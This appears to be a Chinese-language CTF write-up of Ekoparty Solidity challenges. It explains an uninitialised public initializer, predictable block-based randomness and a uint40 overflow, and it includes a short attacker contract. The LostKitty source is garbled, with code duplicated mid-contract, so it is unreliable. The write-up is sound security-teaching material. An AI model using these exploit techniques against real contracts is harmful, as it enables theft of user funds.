CTF-EKO-Trickster&LostKitty
author:Thomas_Xu
Trickster 题目描述与源码:
我们可能已经发现了一个蜜罐……你能设法获得真正的头奖吗?。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 pragma solidity 0.8 .17 ; contract Jackpot { address private jackpotProxy; address private owner; modifier onlyOwner() { require (msg.sender == owner); _; } function initialize (address _jackpotProxy ) public payable { jackpotProxy = _jackpotProxy; } modifier onlyJackpotProxy() { require (msg.sender == jackpotProxy); _; } function claimPrize (uint256 amount ) external payable onlyJackpotProxy { payable(msg.sender).transfer(amount * 2 ); } fallback() external payable {} receive() external payable {} } contract JackpotProxy { address private owner; address private jackpot; modifier onlyOwner() { require (msg.sender == owner); _; } constructor () payable { owner = msg.sender; address _proxy = address(new Jackpot()); initialize(_proxy); payable(_proxy).transfer(address(this ).balance); } function initialize (address _jackpot ) public onlyOwner { jackpot = _jackpot; } function claimPrize ( ) external payable { require (msg.value > 0 , "zero deposit" ); (bool success,) = jackpot.call{value : msg.value}(abi.encodeWithSignature("claimPrize(uint)" , msg.value)); require (success, "failed" ); payable(msg.sender).transfer(address(this ).balance); } function balance ( ) external view returns (uint256 ) { return jackpot.balance; } receive() external payable {} }
这个challange的逻辑是用户调用JackpotProxy
的claimPrize
方法来兑奖,Jackpot
合约在收到代理合约的请求后把ETH转给代理合约,最后代理把ETH转给中奖者。
但这个题的Jackpot
合约的initialize
并没有被调用,而此函数又是一个public函数,此合约的claimPrize
明显验证不足,我们可以直接调用此函数来盗取大奖。唯一的问题就是去获取jackpot
这个私有变量。
这个challange过于简单,我们接着看下一题。
附Factory:
1 2 3 4 5 6 7 8 9 10 11 function deploy (address ) external payable override returns (address[] memory ret ) { require (msg.value == 0.0001 ether, "Please pay 0.0001 ether" ); address _challenge = address(new JackpotProxy{value : msg.value}()); ret = new address[](1 ); ret[0 ] = _challenge; } function isComplete (address[] calldata _challenges ) external view override returns (bool ) { return JackpotProxy(payable(_challenges[0 ])).balance() == 0 ; }
LostKitty 题目描述与源码:
卢卡斯是一位科学家,他和他的猫住在一个有 2^256 个房间的大房子里。他的猫喜欢玩捉迷藏,只要听到另一个房间开门,它就会跳到一个随机房间。你能找到卢卡斯的猫吗?将变量设置catFound
为true
以赢得此挑战。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 pragma solidity ^0.8 .0 ; contract HiddenKittyCat { address private immutable _owner; constructor () { _owner = msg.sender; pragma solidity ^0.8 .0 ; contract HiddenKittyCat { address private immutable _owner; constructor () { _owner = msg.sender; bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69 ))); assembly { sstore(slot, "KittyCat!" ) } } function areYouHidingHere (bytes32 slot ) external view returns (bool ) { require (msg.sender == _owner, "!owner" ); bytes32 kittyPointer; assembly { kittyPointer := sload(slot) } return kittyPointer == "KittyCat!" ; } function destroyMe ( ) external { require (msg.sender == _owner, "!owner" ); selfdestruct(payable(address(0 ))); } } contract House { bool public catFound; function isKittyCatHere (bytes32 _slot ) external { if (catFound) { return ; } HiddenKittyCat hiddenKittyCat = new HiddenKittyCat(); bool found = hiddenKittyCat.areYouHidingHere(_slot); if (!found) { hiddenKittyCat.destroyMe(); } else { catFound = true ; } } } assembly { sstore(slot, "KittyCat!" ) } } function areYouHidingHere (bytes32 slot ) external view returns (bool ) { require (msg.sender == _owner, "!owner" ); bytes32 kittyPointer; assembly { kittyPointer := sload(slot) } return kittyPointer == "KittyCat!" ; } function destroyMe ( ) external { require (msg.sender == _owner, "!owner" ); selfdestruct(payable(address(0 ))); } } contract House { bool public catFound; function isKittyCatHere (bytes32 _slot ) external { if (catFound) { return ; } HiddenKittyCat hiddenKittyCat = new HiddenKittyCat(); bool found = hiddenKittyCat.areYouHidingHere(_slot); if (!found) { hiddenKittyCat.destroyMe(); } else { catFound = true ; } } }
这个题的本质应该是想考查交易的原子性
1 bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
slot其实是根据这个区块的信息计算出来的,看似是个随机数,但在这个合约创建时的区块内的所有交易都共享同一个区块数据。
因此写出攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity 0.8 .17 ; import "../ChallengeHiddenKitty.sol" ;contract HiddenKittyCatAttacker { constructor (address target) { bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69 ))); House house = House(target); house.isKittyCatHere(slot); } }
GoldenTicket 题目描述与源码:
Ekoparty 的组织者决定 2023 年会议的门票将通过智能合约购买。但是,会议超卖,您必须注册等候名单才能拿到票。问题是他们让你等了十年,而你唯一的选择就是延长等待时间。等待结束后,你必须进入抽奖,看看你是否获得了门票
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity 0.8 .17 ; contract GoldenTicket { mapping(address => uint40) public waitlist; mapping(address => bool) public hasTicket; function joinWaitlist ( ) external { require (waitlist[msg.sender] == 0 , "Already on waitlist" ); unchecked { waitlist[msg.sender] = uint40(block.timestamp + 10 * 365 days); } } function updateWaitTime (uint256 _time ) external { require (waitlist[msg.sender] != 0 , "Join waitlist first" ); unchecked { waitlist[msg.sender] += uint40(_time); } } function joinRaffle (uint256 _guess ) external { require (waitlist[msg.sender] != 0 , "Not in waitlist" ); require (waitlist[msg.sender] <= block.timestamp, "Still have to wait" ); require (!hasTicket[msg.sender], "Already have a ticket" ); uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1 ), block.timestamp))); if (randomNumber == _guess) { hasTicket[msg.sender] = true ; } delete waitlist[msg.sender]; } function giftTicket (address _to ) external { require (hasTicket[msg.sender], "Yoy dont own a ticket" ); hasTicket[msg.sender] = false ; hasTicket[_to] = true ; } }
这个challange也很基础,就是一个简单的算术溢出,在updateWaitTime
里面。
就不多做分析了。
true
This is copyright.